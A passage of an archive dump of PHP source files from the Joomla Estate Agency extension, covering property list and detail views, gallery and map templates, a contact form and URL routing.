 * @since       2.0
 */
class JeaViewProperties extends JViewLegacy
{
	/**
	 * The component parameters
	 *
	 * @var Joomla\Registry\Registry
	 */
	protected $params;

	/**
	 * The user object
	 *
	 * @var JUser
	 */
	protected $user;

	/**
	 * Array of database records
	 *
	 * @var Jobject[]
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var Jobject
	 */
	protected $state;

	/**
	 * The sidebar output
	 *
	 * @var string
	 */
	protected $sidebar = '';

	/**
	 * The form object for search filters
	 *
	 * @var JForm
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var  array
	 */
	public $activeFilters;

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		$this->params = JComponentHelper::getParams('com_jea');

		JeaHelper::addSubmenu('properties');

		$this->user = JFactory::getUser();
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');

		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		$this->sidebar = JHtmlSidebar::render();

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		$canDo = JeaHelper::getActions();

		JToolBarHelper::title(JText::_('COM_JEA_PROPERTIES_MANAGEMENT'),
'jea');

		if ($canDo->get('core.create'))
		{
			JToolBarHelper::addNew('property.add');
			JToolBarHelper::custom('properties.copy',
'copy.png', 'copy_f2.png', 'COM_JEA_COPY');
		}

		if (($canDo->get('core.edit')) ||
($canDo->get('core.edit.own')))
		{
			JToolBarHelper::editList('property.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolBarHelper::divider();
			JToolBarHelper::publish('properties.publish',
'JTOOLBAR_PUBLISH', true);
			JToolBarHelper::unpublish('properties.unpublish',
'JTOOLBAR_UNPUBLISH', true);
			JToolBarHelper::custom('properties.featured',
'featured.png', 'featured_f2.png',
'JFEATURED', true);
		}

		if ($canDo->get('core.delete'))
		{
			JToolBarHelper::divider();
			JToolBarHelper::deleteList(JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE'),
'properties.delete');
		}

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::divider();
			JToolBarHelper::preferences('com_jea');
		}
	}
}
views/properties/metadata.xml000064400000000220151165174030012374
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<view title="Properties">
		<message><![CDATA[CHOOSELAYDESC]]></message>
	</view>
</metadata>views/property/tmpl/default_googlemap.php000064400000004621151165174030014736
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperty
 */

JHtml::_('jquery.framework');

$langs = explode('-', $this->document->getLanguage());

$lang = $langs[0];
$region = $langs[1];

$latitude = floatval($this->row->latitude);
$longitude = floatval($this->row->longitude);
$address = str_replace(array("\n", "\r\n"), '
', addslashes($this->row->address));
$town = str_replace(array("\n", "\r\n"), ' ',
addslashes($this->row->town));

if (! empty($address) && ! empty($town))
{
	$address .= ', ' . $town . ', ' . $lang;
}
elseif (! empty($address))
{
	$address .= ', ' . $lang;
}
elseif (! empty($town))
{
	$address = $town . ', ' . $lang;
}
elseif (! empty($this->row->department))
{
	$address = addslashes($this->row->department) . ', ' .
$lang;
}
else
{
	$address = $lang;
}

$this->document->addScript(
	'https://maps.google.com/maps/api/js?key=' .
$this->params->get('googlemap_api_key') .
'&amp;language=' . $lang . '&amp;region=' .
$region
);

$script = <<<JS

jQuery(function($) {

	var map = null;
	var longitude  = {$longitude};
	var latitude   = {$latitude};

	function initMap(mapOptions, MarkerLatlng) {
		map = new google.maps.Map($('#jea_property_map')[0],
mapOptions);
		var marker = new google.maps.Marker({
			position: MarkerLatlng,
			map: map,
			title: '{$this->escape($this->row->ref)}'
		});
	}

	if (longitude && latitude) {
		var myLatlng = new google.maps.LatLng(latitude, longitude);
		var options = {
			zoom : 15,
			center : myLatlng,
			mapTypeId : google.maps.MapTypeId.ROADMAP
		};
		initMap(options, myLatlng);

	} else {
		var geocoder = new google.maps.Geocoder();
		var opts = {'address':'$address',
'language':'$lang',
'region':'$region'};
		geocoder.geocode(opts, function(results, status) {
			if (status == google.maps.GeocoderStatus.OK) {
				var myLatlng = results[0].geometry.location;
				var options = {
					center : myLatlng,
					mapTypeId : google.maps.MapTypeId.ROADMAP
				};
				initMap(options, myLatlng);
				map.fitBounds(results[0].geometry.viewport);
			}
		});
	}
});
JS;

$this->document->addScriptDeclaration($script);
?>

<div id="jea_property_map"></div>

views/property/tmpl/default_contactform.php000064400000004517151165174030015307
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperty
 */

$uri = JFactory::getURI();
?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=default.sendContactForm')
?>" method="post" id="jea-contact-form">
	<fieldset>
		<legend><?php echo
JText::_('COM_JEA_CONTACT_FORM_LEGEND') ?></legend>
		<dl>
			<dt>
				<label for="name"><?php echo
JText::_('COM_JEA_NAME') ?> :</label>
			</dt>

			<dd>
				<input type="text" name="name"
id="name" size="30"
					value="<?php echo
$this->escape($this->state->get('contact.name'))
?>" />
			</dd>

			<dt>
				<label for="email"><?php echo
JText::_('COM_JEA_EMAIL') ?> :</label>
			</dt>

			<dd>
				<input type="text" name="email"
id="email" size="30"
					value="<?php echo
$this->escape($this->state->get('contact.email'))
?>" />
			</dd>

			<dt>
				<label for="telephone"><?php echo
JText::_('COM_JEA_TELEPHONE') ?> :</label>
			</dt>

			<dd>
				<input type="text" name="telephone"
id="telephone" size="30"
					value="<?php echo
$this->escape($this->state->get('contact.telephone'))
?>" />
			</dd>

			<dt>
				<label for="subject"><?php echo
JText::_('COM_JEA_SUBJECT') ?> :</label>
			</dt>

			<dd>
				<input type="text" name="subject"
id="subject" size="30"
				value="<?php echo JText::_('COM_JEA_REF') ?> :
<?php echo $this->escape($this->row->ref) ?>" />
			</dd>

			<dt>
				<label for="e_message"><?php echo
JText::_('COM_JEA_MESSAGE') ?> :</label>
			</dt>

			<dd>
				<textarea name="message" id="e_message"
rows="10" cols="40"><?php echo
$this->escape($this->state->get('contact.message'))
?></textarea>
			</dd>

			<?php if ($this->params->get('use_captcha')):?>
			<dd><?php echo $this->displayCaptcha() ?></dd>
			<?php endif ?>

			<dd>
				<input type="hidden" name="id"
value="<?php echo $this->row->id ?>" />
				<?php echo JHTML::_( 'form.token' ) ?>
				<input type="hidden" name="propertyURL"
value="<?php echo base64_encode($uri->toString())?>"
/>
				<input type="submit" value="<?php echo
JText::_('COM_JEA_SEND') ?>" />
			</dd>
		</dl>
	</fieldset>
</form>
views/property/tmpl/default.php000064400000017132151165174040012706
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperty
 */

$dispatcher = JDispatcher::getInstance();
JPluginHelper::importPlugin('jea');
?>

<div class="jea-tools">
	<?php if ($this->params->get('show_print_icon')): ?>
	<a href="javascript:window.print()" title="<?php echo
JText::_('JGLOBAL_PRINT') ?>"
class="print-icon">
	<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true) ?>
	</a>
	<?php endif ?>
	<nav class="prev-next-navigation"><?php echo
$this->getPrevNextNavigation() ?></nav>
</div>


<h1><?php echo $this->page_title ?></h1>

<?php if ($this->params->get('show_creation_date', 0)) :
?>
<p>
	<span class="date"><?php echo
JHtml::_('date',  $this->row->created,
JText::_('DATE_FORMAT_LC3') ) ?></span>
</p>
<?php endif ?>

<?php if(!empty($this->row->images)) echo
$this->loadTemplate($this->params->get('images_layout',
'squeezebox')) ?>

<h2 class="clr"><?php echo
JText::_('COM_JEA_REF')?> : <?php echo
$this->escape($this->row->ref) ?></h2>

<div class="jea-col-right">
	<?php if ($this->row->address || $this->row->zip_code ||
$this->row->town ): ?>
	<h3><?php echo JText::_('COM_JEA_FIELD_ADDRESS_LABEL')
?> :</h3>
	<address>
		<?php if ($this->row->address):?>
		<?php echo $this->escape($this->row->address ) ?><br
/>
		<?php endif ?>
		<?php if ($this->row->zip_code) echo
$this->escape($this->row->zip_code ) ?>
		<?php if ($this->row->town) echo
$this->escape($this->row->town ) ?>
	</address>
	<?php endif ?>

	<?php if ($this->row->area) :?>
	<p><?php echo JText::_('COM_JEA_FIELD_AREA_LABEL')
?> :
	<strong> <?php echo$this->escape( $this->row->area )
?></strong>
	</p>
	<?php endif  ?>

	<?php if (!empty($this->row->amenities)): ?>
	<h3><?php echo JText::_('COM_JEA_AMENITIES')?>
:</h3>
	<?php echo JHtml::_('amenities.bindList',
$this->row->amenities, 'ul') ?>
	<?php endif ?>
</div>

<?php if (intval($this->row->availability)): ?>
<p class="availability">
<?php echo
JText::_('COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL') ?> :
<?php echo JHTML::_('date',  $this->row->availability,
JText::_('DATE_FORMAT_LC3') ) ?>
</p>
<?php endif  ?>

<h3><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS') ?> : </h3>

<table class="jea-data">
	<tr>
		<th><?php echo $this->row->transaction_type ==
'RENTING' ? JText::_('COM_JEA_FIELD_PRICE_RENT_LABEL')
:  JText::_('COM_JEA_FIELD_PRICE_LABEL') ?></th>
		<td class="right">
			<?php echo JHtml::_('utility.formatPrice', (float)
$this->row->price, JText::_('COM_JEA_CONSULT_US')) ?>
			<?php if ($this->row->transaction_type == 'RENTING'
&& (float) $this->row->price != 0.0): ?>
			<span class="rate_frequency"><?php echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'.
$this->row->rate_frequency) ?></span>
			<?php endif ?>
		</td>
	</tr>

	<?php if ((float)$this->row->charges > 0): ?>
	<tr>
		<th><?php echo JText::_('COM_JEA_FIELD_CHARGES_LABEL')
?></th>
		<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float)
$this->row->charges) ?></td>
	</tr>
	<?php endif  ?>

	<?php if ($this->row->transaction_type == 'RENTING'
&&  (float) $this->row->deposit > 0 ): ?>
	<tr>
		<th><?php echo JText::_('COM_JEA_FIELD_DEPOSIT_LABEL')
?></th>
		<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float)
$this->row->deposit) ?></td>
	</tr>
	<?php endif  ?>

	<?php if ((float)$this->row->fees > 0): ?>
	<tr>
		<th><?php echo JText::_('COM_JEA_FIELD_FEES_LABEL')
?></th>
		<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float) $this->row->fees)
?></td>
	</tr>
	<?php endif  ?>
</table>

<h3><?php echo JText::_('COM_JEA_DETAILS') ?> :
</h3>
<table class="jea-data">
	<?php if ($this->row->condition): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_CONDITION_LABEL') ?></th>
		<td><?php echo $this->escape($this->row->condition)
?></td>
	</tr>
	<?php endif  ?>

	<?php if ($this->row->living_space): ?>
	<tr>
		<th><?php echo  JText::_(
'COM_JEA_FIELD_LIVING_SPACE_LABEL' ) ?></th>
		<td><?php echo JHtml::_('utility.formatSurface',
(float) $this->row->living_space ) ?></td>
	</tr>
	<?php endif ?>

	<?php if ($this->row->land_space): ?>
	<tr>
		<th><?php echo  JText::_(
'COM_JEA_FIELD_LAND_SPACE_LABEL' ) ?></th>
		<td><?php echo JHtml::_('utility.formatSurface',
(float) $this->row->land_space ) ?></td>
	</tr>
	<?php endif ?>

	<?php if ($this->row->rooms): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL') ?></th>
		<td><?php echo $this->row->rooms ?></td>
	</tr>
	<?php endif  ?>

	<?php if ($this->row->bedrooms): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL')
?></th>
		<td><?php echo $this->row->bedrooms ?></td>
	</tr>
	<?php endif  ?>

	<?php if ($this->row->orientation != '0'): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') ?></th>
		<td>
		<?php
		switch ($this->row->orientation)
		{
			case 'N':
				echo JText::_('COM_JEA_OPTION_NORTH');
				break;
			case 'NW':
				echo JText::_('COM_JEA_OPTION_NORTH_WEST');
				break;
			case 'NE':
				echo JText::_('COM_JEA_OPTION_NORTH_EAST');
				break;
			case 'NS':
				echo JText::_('COM_JEA_OPTION_NORTH_SOUTH');
				break;
			case 'E':
				echo JText::_('COM_JEA_OPTION_EAST');
				break;
			case 'EW':
				echo JText::_('COM_JEA_OPTION_EAST_WEST');
				break;
			case 'W':
				echo JText::_('COM_JEA_OPTION_WEST');
				break;
			case 'S':
				echo JText::_('COM_JEA_OPTION_SOUTH');
				break;
			case 'SW':
				echo JText::_('COM_JEA_OPTION_SOUTH_WEST');
				break;
			case 'SE':
				echo JText::_('COM_JEA_OPTION_SOUTH_EAST');
				break;
		}
		?>
		</td>
	</tr>
	<?php endif ?>

	<?php if ($this->row->floor): ?>
	<tr>
		<th><?php echo JText::_('COM_JEA_FIELD_FLOOR_LABEL')
?></th>
		<td><?php echo $this->row->floor ?></td>
	</tr>
	<?php endif  ?>

	<?php if ( $this->row->floors_number ): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_FLOORS_NUMBER_LABEL') ?></th>
		<td><?php echo $this->row->floors_number ?></td>
	</tr>
	<?php endif  ?>

	<?php if ( $this->row->bathrooms ): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL')
?></th>
		<td><?php echo $this->row->bathrooms ?></td>
	</tr>
	<?php endif  ?>

	<?php if ($this->row->toilets): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL')
?></th>
		<td><?php echo $this->row->toilets ?></td>
	</tr>
	<?php endif  ?>

	<?php if ( $this->row->heating_type_name ): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_HEATINGTYPE_LABEL') ?></th>
		<td><?php echo $this->escape(
$this->row->heating_type_name) ?></td>
	</tr>
	<?php endif  ?>

	<?php if ( $this->row->hot_water_type_name ): ?>
	<tr>
		<th><?php echo
JText::_('COM_JEA_FIELD_HOTWATERTYPE_LABEL') ?></th>
		<td><?php echo $this->escape(
$this->row->hot_water_type_name) ?></td>
	</tr>
	<?php endif  ?>
</table>

<?php $dispatcher->trigger('onBeforeShowDescription',
array(&$this->row)) ?>

<div class="property-description clr">
<?php echo $this->row->description ?>
</div>

<?php $dispatcher->trigger('onAfterShowDescription',
array(&$this->row)) ?>

<?php if ( $this->params->get('show_googlemap') ): ?>
<h3><?php echo JText::_('COM_JEA_GEOLOCALIZATION') ?>
:</h3>
<?php echo $this->loadTemplate('googlemap') ?>
<?php endif ?>

<?php if ( $this->params->get('show_contactform') ):
?>
<?php echo $this->loadTemplate('contactform') ?>
<?php endif  ?>

<p>
	<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=properties')?>"><?php
echo JText::_('COM_JEA_RETURN_TO_THE_LIST')?></a>
</p>
views/property/tmpl/default_gallery.php000064400000004563151165174040014431
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperty
 */

if (! is_array($this->row->images))
{
	return;
}

JHtml::stylesheet('com_jea/magnific-popup.css',
array('relative' => true));
JHtml::_('jquery.framework');
JHtml::script('com_jea/jquery.magnific-popup.min.js',
array('relative' => true));

$mainImage = $this->row->images[0];

$script = <<<JS
jQuery(function($) {
	$('.jea-thumbnails').on('click', function(e) {
		e.preventDefault();
		$('#jea-preview-img').attr('src',
$(this).attr('rel'));
		$('#jea-preview-img').parent().attr('href',
$(this).attr('href'));
		$('#jea-preview-title').empty().text($(this).find('img').attr('alt'));
		$('#jea-preview-description').empty().text($(this).find('img').attr('title'));

	});

	$('.modal').magnificPopup({
		type: 'image'
	});

	if ($('#jea-gallery-scroll').hasClass('vertical')
&&  $(window).width() > 1200) {
		$('#jea-preview-img').on('load', function() {
			$('#jea-gallery-scroll').css('height',
$(this).height());
		});
	}
});
JS;

$this->document->addScriptDeclaration($script);
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');

?>

<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">

	<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
		<a href="<?php echo $mainImage->URL ?>"
class="modal">
			<img src="<?php echo $mainImage->mediumURL ?>"
id="jea-preview-img"
				alt="<?php echo $mainImage->title ?>"
title="<?php echo $mainImage->description ?>" />
		</a>
		<div id="jea-preview-title"><?php echo
$mainImage->title ?></div>
		<div id="jea-preview-description"><?php echo
$mainImage->description ?></div>
	</div>

	<?php if( !empty($this->row->images)): ?>
	<div id="jea-gallery-scroll" class="<?php echo
$gallery_orientation ?>">
		<?php foreach($this->row->images as $image) : ?>
		<a class="jea-thumbnails" rel="<?php echo
$image->mediumURL?>" href="<?php echo
$image->URL?>">
		<img src="<?php echo $image->minURL ?>"
alt="<?php echo $image->title ?>" title="<?php
echo $image->description  ?>" /></a>
		<?php endforeach ?>
	</div>
	<?php endif ?>

</div>
views/property/tmpl/default_magnificpopup.php000064400000005117151165174040015627
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperty
 */

if (!is_array($this->row->images))
{
	return;
}

$mainImage = $this->row->images[0];

$previousLabel = JText::_('JPREVIOUS');
$nextLabel = JText::_('JNEXT');

JHtml::stylesheet('com_jea/magnific-popup.css',
array('relative' => true));

JHtml::_('jquery.framework');
JHtml::script('com_jea/jquery.magnific-popup.min.js',
array('relative' => true));

$script = <<<EOB

jQuery(function($) {

	var previousLabel = '$previousLabel';
	var nextLabel = '$nextLabel';

	$('#jea-gallery-preview a').on('click', function(e) {
		e.preventDefault();
		$('.popup-gallery a:first').trigger('click');
	});

	$('.popup-gallery').magnificPopup({
		delegate: 'a',
		type: 'image',
		tLoading: 'Loading image #%curr%...',
		mainClass: 'mfp-img-mobile',
		gallery: {
			enabled: true,
			navigateByImgClick: true,
			preload: [0,1] // Will preload 0 - before current, and 1 after the
current image
		},
		image: {
			tError: '<a href="%url%">The image
#%curr%</a> could not be loaded.',
			titleSrc: function(item) {
				var title = item.el.attr('title');
				var description = item.img.attr('alt');
				return description ? title + ' / ' + description : title;
			}
		}
	});

	if ($('#jea-gallery-scroll').hasClass('vertical')
&& $(window).width() > 1200) {
		$('#jea-preview-img').on('load', function() {
			$('#jea-gallery-scroll').css('height',
$(this).height());
		});
	}
});
EOB;

$this->document->addScriptDeclaration($script);

$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">

	<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
		<a href="<?php echo $mainImage->URL ?>"
title="<?php echo $mainImage->title ?>"><img
src="<?php echo $mainImage->mediumURL ?>"
id="jea-preview-img"
			alt="<?php echo $mainImage->description ?>"
/></a>
	</div>

	<?php if( !empty($this->row->images)): ?>
	<div id="jea-gallery-scroll" class="popup-gallery
<?php echo $gallery_orientation ?>">
		<?php foreach($this->row->images as $image) : ?>
		<a href="<?php echo $image->URL?>"
title="<?php echo $image->title ?>">
		<img src="<?php echo $image->mediumURL ?>"
alt="<?php echo $image->description ?>" /></a>
		<?php endforeach ?>
	</div>
	<?php endif ?>

</div>

views/property/tmpl/default_squeezebox.php000064400000004013151165174040015152
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperty
 */

if (!is_array($this->row->images))
{
	return;
}

$mainImage = array_shift($this->row->images);

$previousLabel = JText::_('JPREVIOUS');
$nextLabel = JText::_('JNEXT');

$script = <<<EOB
var previousLabel = '$previousLabel';
var nextLabel = '$nextLabel';

window.addEvent('domready', function(){
	if
(document.id('jea-gallery-scroll').hasClass('vertical'))
{
		var winSize = window.getSize();

		if (winSize.x > 1200) {
			document.id('jea-preview-img').addEvent('load',
function() {
				var imgSize = this.getSize();
				document.id('jea-gallery-scroll').setStyle('height',
imgSize.y);
			});
		}
	}
});
EOB;

$this->document->addScriptDeclaration($script);

JHtml::script('com_jea/jea-squeezebox.js',
array('relative' => true));

JHtml::_('behavior.modal', 'a.jea_modal',
array('onOpen' => '\onOpenSqueezebox'));

$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>

<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">

	<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
		<a class="jea_modal" href="<?php echo
$mainImage->URL ?>"><img src="<?php echo
$mainImage->mediumURL ?>" id="jea-preview-img"
			alt="<?php echo $mainImage->title ?>"
title="<?php echo $mainImage->description ?>"
/></a>
	</div>

	<?php if( !empty($this->row->images)): ?>
	<div id="jea-gallery-scroll" class="<?php echo
$gallery_orientation ?>">
		<?php foreach($this->row->images as $image) : ?>
		<a class="jea_modal" href="<?php echo
$image->URL?>"><img src="<?php echo
$image->minURL ?>" alt="<?php echo $image->title
?>"
			title="<?php echo $image->description  ?>"
/></a>
		<?php endforeach ?>
	</div>
	<?php endif ?>

</div>
views/property/view.html.php000064400000005753151165174040012231
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit property.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewProperty extends JViewLegacy
{
	/**
	 * The form object
	 *
	 * @var JForm
	 */
	protected $form;

	/**
	 * The database record
	 *
	 * @var JObject|boolean
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var JObject
	 */
	protected $state;

	/**
	 * The actions the user is authorised to perform
	 *
	 * @var  JObject
	 */
	protected $canDo;

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->state = $this->get('State');
		$this->canDo = JeaHelper::getActions($this->item->id);

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();

		$isNew = ($this->item->id == 0);
		$checkedOut = ! ($this->item->checked_out == 0 ||
$this->item->checked_out == $user->id);

		$title = JText::_('COM_JEA_PROPERTIES_MANAGEMENT') . ' :
';
		$title .= $isNew ? JText::_('JACTION_CREATE') :
JText::_('JACTION_EDIT');

		JToolBarHelper::title($title, 'jea');

		// Built the actions for new and existing records.
		// For new records, check the create permission.
		if ($isNew && ($this->canDo->get('core.create')))
		{
			JToolBarHelper::apply('property.apply');
			JToolBarHelper::save('property.save');
			JToolBarHelper::save2new('property.save2new');
			JToolBarHelper::cancel('property.cancel');
		}
		else
		{
			// Can't save the record if it's checked out.
			if (! $checkedOut)
			{
				// Since it's an existing record, check the edit permission, or
				// fall back to edit own if the owner.
				if ($this->canDo->get('core.edit') ||
($this->canDo->get('core.edit.own') &&
$this->item->created_by == $user->id))
				{
					JToolBarHelper::apply('property.apply');
					JToolBarHelper::save('property.save');

					// We can save this record, but check the create permission
					// to see if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::save2new('property.save2new');
					}
				}
			}

			// If checked out, we can still save
			if ($this->canDo->get('core.create'))
			{
				JToolBarHelper::save2copy('property.save2copy');
			}

			JToolBarHelper::cancel('property.cancel',
'JTOOLBAR_CLOSE');
		}
	}
}
jea.php000064400000001606151165174040006023 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('JeaHelper', __DIR__ .
'/helpers/jea.php');
JLoader::register('JeaUpload', __DIR__ .
'/helpers/upload.php');
JLoader::register('JeaHelperUtility', __DIR__ .
'/helpers/utility.php');

$input = JFactory::getApplication()->input;

if ($input->getCmd('task') == '')
{
	// In order to execute controllers/default.php as default controller and
display as default method
	$input->set('task', 'default.display');
}

$controller = JControllerLegacy::getInstance('jea');
$controller->execute($input->getCmd('task'));
$controller->redirect();
router.php000064400000006156151165174050006612 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * JEA router functions
 *
 * @param   array  $query  An array of URL arguments
 *
 * @return  array The URL arguments to use to assemble the subsequent URL.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function jeaBuildRoute(&$query)
{
	$segments = array();

	if (isset($query['view']))
	{
		unset($query['view']);
	}

	if (isset($query['layout']))
	{
		$segments[] = $query['layout'];
		unset($query['layout']);
	}

	if (isset($query['id']))
	{
		$segments[] = $query['id'];
		unset($query['id']);
	}

	return $segments;
}

/**
 * Parse the segments of a URL.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function jeaParseRoute($segments)
{
	$vars = array();

	// Get the active menu item
	$app  = JFactory::getApplication();
	$menu = $app->getMenu();
	$item = $menu->getActive();

	// Count route segments
	$count = count($segments);

	// Standard routing for property
	if (! isset($item))
	{
		$vars['view'] = 'property';
		$vars['id'] = $segments[$count - 1];

		return $vars;
	}

	if ($count == 1 && is_numeric($segments[0]))
	{
		// If there is only one numeric segment, then it points to a property
detail
		if (strpos($segments[0], ':') === false)
		{
			$id = (int) $segments[0];
		}
		else
		{
			$exp = explode(':', $segments[0], 2);
			$id = (int) $exp[0];
		}

		$vars['view'] = 'property';
		$vars['id'] = $id;
	}

	if ($item->query['view'] == 'properties')
	{
		$layout = isset($item->query['layout']) ?
$item->query['layout'] : 'default';

		switch ($layout)
		{
			case 'default':
			case 'search':
			case 'searchmap':
				$vars['view'] = 'properties';
				$vars['layout'] = $layout;

				if ($count == 1)
				{
					// If there is only one, then it points to a property detail
					if (is_numeric($segments[0]))
					{
						$vars['view'] = 'property';
						$vars['id'] = (int) $segments[0];
					}
					elseif (strpos($segments[0], ':') !== false)
					{
						$exp = explode(':', $segments[0], 2);
						$vars['id'] = (int) $exp[0];
						$vars['view'] = 'property';
					}
				}
				break;
			case 'manage':
				$vars['view'] = 'properties';
				$vars['layout'] = 'manage';

				if ($count > 0 && $segments[0] == 'edit')
				{
					$vars['view'] = 'form';
					$vars['layout'] = 'edit';

					if ($count == 2)
					{
						$vars['id'] = (int) $segments[1];
					}
				}

				break;
		}
	}
	elseif ($item->query['view'] == 'form')
	{
		$vars['view'] = 'form';
		$vars['layout'] = 'edit';

		if ($count > 0)
		{
			if ($segments[0] == 'edit' && $count == 2)
			{
				$vars['id'] = (int) $segments[1];
			}
			elseif ($segments[0] == 'manage')
			{
				$vars['view'] = 'properties';
				$vars['layout'] = 'manage';
			}
		}
	}

	return $vars;
}
controllers/gateway.php000064400000003753151165726330011305
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

